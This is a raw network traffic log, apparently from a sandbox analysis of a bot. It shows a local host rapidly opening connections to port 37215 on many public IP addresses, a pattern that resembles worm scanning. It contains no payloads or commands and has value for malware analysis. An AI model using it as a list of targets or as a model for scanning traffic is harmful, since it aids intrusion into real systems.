Jun 10, 2024 15:38:00.147874117 CEST	37215	36058	41.214.194.245	192.168.2.13
Jun 10, 2024 15:38:00.147907972 CEST	36058	37215	192.168.2.13	41.214.194.245
Jun 10, 2024 15:38:00.148307085 CEST	58672	37215	192.168.2.13	197.171.135.28
Jun 10, 2024 15:38:00.148972988 CEST	46142	37215	192.168.2.13	41.112.119.1
Jun 10, 2024 15:38:00.149636984 CEST	44940	37215	192.168.2.13	197.195.196.75
Jun 10, 2024 15:38:00.150119066 CEST	37215	55170	156.134.168.58	192.168.2.13
Jun 10, 2024 15:38:00.150157928 CEST	55170	37215	192.168.2.13	156.134.168.58
Jun 10, 2024 15:38:00.150355101 CEST	51604	37215	192.168.2.13	197.95.0.54
Jun 10, 2024 15:38:00.150881052 CEST	37215	46904	197.116.245.45	192.168.2.13
Jun 10, 2024 15:38:00.150914907 CEST	46904	37215	192.168.2.13	197.116.245.45
Jun 10, 2024 15:38:00.151043892 CEST	47796	37215	192.168.2.13	197.194.180.37
Jun 10, 2024 15:38:00.151643038 CEST	37215	32906	156.172.0.85	192.168.2.13
Jun 10, 2024 15:38:00.151659966 CEST	37215	32950	156.146.151.12	192.168.2.13
Jun 10, 2024 15:38:00.151681900 CEST	32906	37215	192.168.2.13	156.172.0.85
Jun 10, 2024 15:38:00.151691914 CEST	32950	37215	192.168.2.13	156.146.151.12
Jun 10, 2024 15:38:00.151725054 CEST	57558	37215	192.168.2.13	41.109.88.228
Jun 10, 2024 15:38:00.151803017 CEST	37215	52852	197.130.110.26	192.168.2.13
Jun 10, 2024 15:38:00.151838064 CEST	52852	37215	192.168.2.13	197.130.110.26
Jun 10, 2024 15:38:00.152410030 CEST	45736	37215	192.168.2.13	41.207.144.176
Jun 10, 2024 15:38:00.152441025 CEST	37215	53884	156.254.58.48	192.168.2.13
Jun 10, 2024 15:38:00.152489901 CEST	53884	37215	192.168.2.13	156.254.58.48
Jun 10, 2024 15:38:00.153105021 CEST	37215	58672	197.171.135.28	192.168.2.13
Jun 10, 2024 15:38:00.153136969 CEST	48610	37215	192.168.2.13	156.7.198.77
Jun 10, 2024 15:38:00.153139114 CEST	58672	37215	192.168.2.13	197.171.135.28
Jun 10, 2024 15:38:00.153815031 CEST	51268	37215	192.168.2.13	41.201.241.195
Jun 10, 2024 15:38:00.153877974 CEST	37215	46142	41.112.119.1	192.168.2.13
Jun 10, 2024 15:38:00.153920889 CEST	46142	37215	192.168.2.13	41.112.119.1
Jun 10, 2024 15:38:00.154495955 CEST	37215	44940	197.195.196.75	192.168.2.13
Jun 10, 2024 15:38:00.154532909 CEST	44940	37215	192.168.2.13	197.195.196.75
Jun 10, 2024 15:38:00.154547930 CEST	37370	37215	192.168.2.13	41.129.146.218
Jun 10, 2024 15:38:00.155152082 CEST	37215	51604	197.95.0.54	192.168.2.13
Jun 10, 2024 15:38:00.155190945 CEST	51604	37215	192.168.2.13	197.95.0.54
Jun 10, 2024 15:38:00.155241966 CEST	33262	37215	192.168.2.13	41.249.87.250
Jun 10, 2024 15:38:00.155906916 CEST	37215	47796	197.194.180.37	192.168.2.13
Jun 10, 2024 15:38:00.155925035 CEST	57758	37215	192.168.2.13	41.129.88.86
Jun 10, 2024 15:38:00.155946970 CEST	47796	37215	192.168.2.13	197.194.180.37
Jun 10, 2024 15:38:00.156568050 CEST	37215	57558	41.109.88.228	192.168.2.13
Jun 10, 2024 15:38:00.156610012 CEST	57558	37215	192.168.2.13	41.109.88.228
Jun 10, 2024 15:38:00.156619072 CEST	51048	37215	192.168.2.13	41.136.101.104
Jun 10, 2024 15:38:00.157304049 CEST	38538	37215	192.168.2.13	41.71.37.130
Jun 10, 2024 15:38:00.157306910 CEST	37215	45736	41.207.144.176	192.168.2.13
Jun 10, 2024 15:38:00.157336950 CEST	45736	37215	192.168.2.13	41.207.144.176
Jun 10, 2024 15:38:00.157943010 CEST	37215	48610	156.7.198.77	192.168.2.13
Jun 10, 2024 15:38:00.157980919 CEST	48610	37215	192.168.2.13	156.7.198.77
Jun 10, 2024 15:38:00.157982111 CEST	42026	37215	192.168.2.13	197.128.86.63
Jun 10, 2024 15:38:00.158620119 CEST	59706	37215	192.168.2.13	156.154.82.234
Jun 10, 2024 15:38:00.158715010 CEST	37215	51268	41.201.241.195	192.168.2.13
Jun 10, 2024 15:38:00.158746004 CEST	51268	37215	192.168.2.13	41.201.241.195
Jun 10, 2024 15:38:00.159286976 CEST	34678	37215	192.168.2.13	41.14.173.139
Jun 10, 2024 15:38:00.159471989 CEST	37215	37370	41.129.146.218	192.168.2.13
Jun 10, 2024 15:38:00.159512043 CEST	37370	37215	192.168.2.13	41.129.146.218
Jun 10, 2024 15:38:00.159944057 CEST	48614	37215	192.168.2.13	41.41.194.38
Jun 10, 2024 15:38:00.159945965 CEST	43804	37215	192.168.2.13	41.102.185.160
Jun 10, 2024 15:38:00.159964085 CEST	41198	37215	192.168.2.13	41.219.156.112
Jun 10, 2024 15:38:00.159969091 CEST	35764	37215	192.168.2.13	41.136.197.138
Jun 10, 2024 15:38:00.159980059 CEST	45952	37215	192.168.2.13	197.110.124.70
Jun 10, 2024 15:38:00.160015106 CEST	44468	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:38:00.160015106 CEST	44468	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:38:00.160064936 CEST	37215	33262	41.249.87.250	192.168.2.13
Jun 10, 2024 15:38:00.160104036 CEST	33262	37215	192.168.2.13	41.249.87.250
Jun 10, 2024 15:38:00.160315037 CEST	45048	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:38:00.160742998 CEST	57854	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.160758018 CEST	57854	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.160782099 CEST	37215	57758	41.129.88.86	192.168.2.13
Jun 10, 2024 15:38:00.160820961 CEST	57758	37215	192.168.2.13	41.129.88.86
Jun 10, 2024 15:38:00.161083937 CEST	58142	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.161493063 CEST	33540	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.161500931 CEST	33540	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.161506891 CEST	37215	51048	41.136.101.104	192.168.2.13
Jun 10, 2024 15:38:00.161545992 CEST	51048	37215	192.168.2.13	41.136.101.104
Jun 10, 2024 15:38:00.161824942 CEST	33828	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.162157059 CEST	37215	38538	41.71.37.130	192.168.2.13
Jun 10, 2024 15:38:00.162194967 CEST	38538	37215	192.168.2.13	41.71.37.130
Jun 10, 2024 15:38:00.162235022 CEST	37698	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.162235022 CEST	37698	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.162554026 CEST	37986	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.162883043 CEST	37215	42026	197.128.86.63	192.168.2.13
Jun 10, 2024 15:38:00.162925959 CEST	42026	37215	192.168.2.13	197.128.86.63
Jun 10, 2024 15:38:00.162961006 CEST	55306	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.162969112 CEST	55306	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.163276911 CEST	55594	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.163522005 CEST	37215	59706	156.154.82.234	192.168.2.13
Jun 10, 2024 15:38:00.163563967 CEST	59706	37215	192.168.2.13	156.154.82.234
Jun 10, 2024 15:38:00.163692951 CEST	60154	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.163706064 CEST	60154	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.164016962 CEST	60442	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.164119005 CEST	37215	34678	41.14.173.139	192.168.2.13
Jun 10, 2024 15:38:00.164163113 CEST	34678	37215	192.168.2.13	41.14.173.139
Jun 10, 2024 15:38:00.164438009 CEST	48850	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.164438009 CEST	48850	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.164766073 CEST	49138	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.164793015 CEST	37215	43804	41.102.185.160	192.168.2.13
Jun 10, 2024 15:38:00.164835930 CEST	43804	37215	192.168.2.13	41.102.185.160
Jun 10, 2024 15:38:00.164860010 CEST	37215	44468	156.134.62.117	192.168.2.13
Jun 10, 2024 15:38:00.165018082 CEST	37215	48614	41.41.194.38	192.168.2.13
Jun 10, 2024 15:38:00.165060997 CEST	48614	37215	192.168.2.13	41.41.194.38
Jun 10, 2024 15:38:00.165106058 CEST	37215	41198	41.219.156.112	192.168.2.13
Jun 10, 2024 15:38:00.165116072 CEST	37215	35764	41.136.197.138	192.168.2.13
Jun 10, 2024 15:38:00.165123940 CEST	37215	45952	197.110.124.70	192.168.2.13
Jun 10, 2024 15:38:00.165147066 CEST	41198	37215	192.168.2.13	41.219.156.112
Jun 10, 2024 15:38:00.165148973 CEST	35764	37215	192.168.2.13	41.136.197.138
Jun 10, 2024 15:38:00.165154934 CEST	45952	37215	192.168.2.13	197.110.124.70
Jun 10, 2024 15:38:00.165184021 CEST	37215	45048	156.134.62.117	192.168.2.13
Jun 10, 2024 15:38:00.165220022 CEST	45048	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:38:00.165606976 CEST	37215	57854	156.211.139.234	192.168.2.13
Jun 10, 2024 15:38:00.165713072 CEST	36522	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.165713072 CEST	36522	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.165915966 CEST	37215	58142	156.211.139.234	192.168.2.13
Jun 10, 2024 15:38:00.165957928 CEST	58142	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.166147947 CEST	36810	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.166337013 CEST	37215	33540	41.69.228.208	192.168.2.13
Jun 10, 2024 15:38:00.166722059 CEST	37215	33828	41.69.228.208	192.168.2.13
Jun 10, 2024 15:38:00.166754961 CEST	34632	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.166754961 CEST	34632	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.166757107 CEST	33828	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.167076111 CEST	37215	37698	41.34.192.208	192.168.2.13
Jun 10, 2024 15:38:00.167198896 CEST	34920	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.167453051 CEST	37215	37986	41.34.192.208	192.168.2.13
Jun 10, 2024 15:38:00.167493105 CEST	37986	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.167790890 CEST	59702	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.167790890 CEST	59702	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.167817116 CEST	37215	55306	156.199.176.162	192.168.2.13
Jun 10, 2024 15:38:00.168241978 CEST	59990	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.168286085 CEST	37215	55594	156.199.176.162	192.168.2.13
Jun 10, 2024 15:38:00.168329000 CEST	55594	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.168499947 CEST	37215	60154	197.176.59.104	192.168.2.13
Jun 10, 2024 15:38:00.168811083 CEST	37215	60442	197.176.59.104	192.168.2.13
Jun 10, 2024 15:38:00.168828964 CEST	60102	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.168844938 CEST	60442	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.168858051 CEST	60102	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.169238091 CEST	37215	48850	156.202.215.189	192.168.2.13
Jun 10, 2024 15:38:00.169291019 CEST	60390	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.169596910 CEST	37215	49138	156.202.215.189	192.168.2.13
Jun 10, 2024 15:38:00.169631958 CEST	49138	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.169847965 CEST	55296	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.169859886 CEST	55296	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.169929028 CEST	80	46042	31.24.128.114	192.168.2.13
Jun 10, 2024 15:38:00.169965982 CEST	46042	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:38:00.170289040 CEST	55584	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.170526028 CEST	37215	36522	41.139.140.243	192.168.2.13
Jun 10, 2024 15:38:00.170870066 CEST	57464	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.170870066 CEST	57464	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.170968056 CEST	37215	36810	41.139.140.243	192.168.2.13
Jun 10, 2024 15:38:00.171010017 CEST	36810	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.171315908 CEST	57752	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.171580076 CEST	37215	34632	41.79.189.48	192.168.2.13
Jun 10, 2024 15:38:00.171880960 CEST	37844	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.171899080 CEST	37844	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.172049046 CEST	37215	34920	41.79.189.48	192.168.2.13
Jun 10, 2024 15:38:00.172086954 CEST	34920	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.172338963 CEST	38132	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.172619104 CEST	37215	59702	156.123.237.221	192.168.2.13
Jun 10, 2024 15:38:00.172950983 CEST	57678	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.172950983 CEST	57678	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.173155069 CEST	37215	59990	156.123.237.221	192.168.2.13
Jun 10, 2024 15:38:00.173194885 CEST	59990	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.173386097 CEST	57966	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.173640013 CEST	37215	60102	197.140.21.238	192.168.2.13
Jun 10, 2024 15:38:00.173963070 CEST	33040	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.173980951 CEST	33040	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.174087048 CEST	37215	60390	197.140.21.238	192.168.2.13
Jun 10, 2024 15:38:00.174123049 CEST	60390	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.174407959 CEST	33328	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.174660921 CEST	37215	55296	156.209.45.106	192.168.2.13
Jun 10, 2024 15:38:00.175014973 CEST	56568	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.175048113 CEST	56568	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.175072908 CEST	37215	55584	156.209.45.106	192.168.2.13
Jun 10, 2024 15:38:00.175112009 CEST	55584	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.175462961 CEST	56856	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.175786018 CEST	37215	57464	41.65.114.229	192.168.2.13
Jun 10, 2024 15:38:00.176045895 CEST	41532	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.176058054 CEST	41532	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.176220894 CEST	37215	57752	41.65.114.229	192.168.2.13
Jun 10, 2024 15:38:00.176259041 CEST	57752	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.176490068 CEST	41820	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.176736116 CEST	37215	37844	156.195.94.23	192.168.2.13
Jun 10, 2024 15:38:00.177056074 CEST	39800	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.177056074 CEST	39800	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.177131891 CEST	37215	38132	156.195.94.23	192.168.2.13
Jun 10, 2024 15:38:00.177175999 CEST	38132	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.177484035 CEST	40088	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.177728891 CEST	37215	57678	41.13.119.15	192.168.2.13
Jun 10, 2024 15:38:00.178071022 CEST	44078	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.178071022 CEST	44078	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.178164959 CEST	37215	57966	41.13.119.15	192.168.2.13
Jun 10, 2024 15:38:00.178206921 CEST	57966	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.178508997 CEST	44366	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.178812027 CEST	37215	33040	156.217.108.5	192.168.2.13
Jun 10, 2024 15:38:00.179071903 CEST	50148	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.179071903 CEST	50148	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.179249048 CEST	37215	33328	156.217.108.5	192.168.2.13
Jun 10, 2024 15:38:00.179290056 CEST	33328	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.179498911 CEST	50436	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.179857016 CEST	37215	56568	197.123.247.90	192.168.2.13
Jun 10, 2024 15:38:00.179963112 CEST	44542	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.179963112 CEST	44542	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.180263996 CEST	37215	56856	197.123.247.90	192.168.2.13
Jun 10, 2024 15:38:00.180289984 CEST	44830	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.180303097 CEST	56856	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.180723906 CEST	45616	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.180723906 CEST	45616	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.180938959 CEST	37215	41532	197.127.189.142	192.168.2.13
Jun 10, 2024 15:38:00.181044102 CEST	45904	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.181370974 CEST	37215	41820	197.127.189.142	192.168.2.13
Jun 10, 2024 15:38:00.181411028 CEST	41820	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.181484938 CEST	48948	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.181484938 CEST	48948	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.181823015 CEST	49236	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.181865931 CEST	37215	39800	156.160.21.128	192.168.2.13
Jun 10, 2024 15:38:00.182265043 CEST	34830	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.182271004 CEST	37215	40088	156.160.21.128	192.168.2.13
Jun 10, 2024 15:38:00.182271957 CEST	34830	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.182305098 CEST	40088	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.182595968 CEST	35118	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.182951927 CEST	37215	44078	41.69.149.120	192.168.2.13
Jun 10, 2024 15:38:00.183026075 CEST	53528	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.183043003 CEST	53528	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.183334112 CEST	37215	44366	41.69.149.120	192.168.2.13
Jun 10, 2024 15:38:00.183358908 CEST	53816	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.183371067 CEST	44366	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.183831930 CEST	50966	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.183851957 CEST	50966	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.184170961 CEST	51254	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.184257030 CEST	37215	50148	156.179.233.113	192.168.2.13
Jun 10, 2024 15:38:00.184598923 CEST	59998	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.184617043 CEST	59998	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.184933901 CEST	60286	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.184988976 CEST	37215	50436	156.179.233.113	192.168.2.13
Jun 10, 2024 15:38:00.185023069 CEST	50436	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.185348988 CEST	60220	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.185367107 CEST	60220	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.185435057 CEST	37215	44542	41.167.61.202	192.168.2.13
Jun 10, 2024 15:38:00.185682058 CEST	60508	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.186028004 CEST	37215	44830	41.167.61.202	192.168.2.13
Jun 10, 2024 15:38:00.186069012 CEST	44830	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.186073065 CEST	37215	45616	41.124.122.69	192.168.2.13
Jun 10, 2024 15:38:00.186101913 CEST	53280	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.186115026 CEST	53280	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.186439991 CEST	53568	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.186547995 CEST	37215	45904	41.124.122.69	192.168.2.13
Jun 10, 2024 15:38:00.186580896 CEST	45904	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.186603069 CEST	37215	45440	197.110.124.70	192.168.2.13
Jun 10, 2024 15:38:00.186610937 CEST	37215	35252	41.136.197.138	192.168.2.13
Jun 10, 2024 15:38:00.186619043 CEST	37215	40686	41.219.156.112	192.168.2.13
Jun 10, 2024 15:38:00.186626911 CEST	37215	43292	41.102.185.160	192.168.2.13
Jun 10, 2024 15:38:00.186634064 CEST	37215	48102	41.41.194.38	192.168.2.13
Jun 10, 2024 15:38:00.186850071 CEST	33396	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.186865091 CEST	33396	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.187179089 CEST	33684	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.187381029 CEST	37215	48948	41.116.99.196	192.168.2.13
Jun 10, 2024 15:38:00.187390089 CEST	37215	49236	41.116.99.196	192.168.2.13
Jun 10, 2024 15:38:00.187419891 CEST	49236	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.187604904 CEST	46806	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.187624931 CEST	46806	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.187737942 CEST	37215	34830	197.26.246.153	192.168.2.13
Jun 10, 2024 15:38:00.187952042 CEST	47094	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.188076973 CEST	37215	35118	197.26.246.153	192.168.2.13
Jun 10, 2024 15:38:00.188118935 CEST	35118	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.188225031 CEST	37215	53528	41.9.80.183	192.168.2.13
Jun 10, 2024 15:38:00.188379049 CEST	44576	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.188390970 CEST	44576	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.188731909 CEST	44864	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.189085960 CEST	37215	53816	41.9.80.183	192.168.2.13
Jun 10, 2024 15:38:00.189121008 CEST	53816	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.189174891 CEST	58464	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.189174891 CEST	58464	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.189523935 CEST	37215	50966	156.110.2.110	192.168.2.13
Jun 10, 2024 15:38:00.189543962 CEST	58752	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.189964056 CEST	37215	51254	156.110.2.110	192.168.2.13
Jun 10, 2024 15:38:00.189996958 CEST	51254	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.190023899 CEST	46504	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.190040112 CEST	46504	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.190262079 CEST	37215	59998	41.122.109.42	192.168.2.13
Jun 10, 2024 15:38:00.190383911 CEST	46792	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.190439939 CEST	37215	60286	41.122.109.42	192.168.2.13
Jun 10, 2024 15:38:00.190481901 CEST	60286	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.190682888 CEST	37215	60220	41.94.153.112	192.168.2.13
Jun 10, 2024 15:38:00.190865040 CEST	32862	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.190884113 CEST	32862	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.191241980 CEST	33150	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.191720963 CEST	48406	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.191720963 CEST	48406	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.191968918 CEST	37215	60508	41.94.153.112	192.168.2.13
Jun 10, 2024 15:38:00.191986084 CEST	37215	53280	156.226.178.21	192.168.2.13
Jun 10, 2024 15:38:00.192003965 CEST	60508	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.192065954 CEST	48694	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.192384005 CEST	37215	53568	156.226.178.21	192.168.2.13
Jun 10, 2024 15:38:00.192399979 CEST	37215	33396	41.55.41.178	192.168.2.13
Jun 10, 2024 15:38:00.192423105 CEST	53568	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.192522049 CEST	48172	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.192532063 CEST	48172	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.192801952 CEST	37215	33684	41.55.41.178	192.168.2.13
Jun 10, 2024 15:38:00.192836046 CEST	33684	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.192887068 CEST	48460	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.193306923 CEST	34652	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.193317890 CEST	34652	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.193608999 CEST	34940	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.193629026 CEST	37215	46806	197.214.46.200	192.168.2.13
Jun 10, 2024 15:38:00.193999052 CEST	43578	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.194019079 CEST	43578	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.194039106 CEST	37215	47094	197.214.46.200	192.168.2.13
Jun 10, 2024 15:38:00.194072008 CEST	47094	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.194302082 CEST	43866	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.194644928 CEST	37215	44576	197.152.159.10	192.168.2.13
Jun 10, 2024 15:38:00.194653988 CEST	37215	44864	197.152.159.10	192.168.2.13
Jun 10, 2024 15:38:00.194689035 CEST	44864	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.194715023 CEST	37402	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.194730043 CEST	37402	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.195028067 CEST	37690	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.195060968 CEST	37215	58464	41.57.17.164	192.168.2.13
Jun 10, 2024 15:38:00.195069075 CEST	37215	58752	41.57.17.164	192.168.2.13
Jun 10, 2024 15:38:00.195103884 CEST	58752	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.195434093 CEST	34518	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.195451021 CEST	34518	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.195823908 CEST	34806	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.196296930 CEST	48942	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.196296930 CEST	48942	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.196374893 CEST	37215	46504	197.0.201.185	192.168.2.13
Jun 10, 2024 15:38:00.196670055 CEST	49230	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.196866989 CEST	37215	46792	197.0.201.185	192.168.2.13
Jun 10, 2024 15:38:00.196907043 CEST	46792	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.197150946 CEST	48674	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.197169065 CEST	48674	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.197309971 CEST	37215	32862	41.237.134.242	192.168.2.13
Jun 10, 2024 15:38:00.197319031 CEST	37215	33150	41.237.134.242	192.168.2.13
Jun 10, 2024 15:38:00.197326899 CEST	37215	48406	41.226.55.109	192.168.2.13
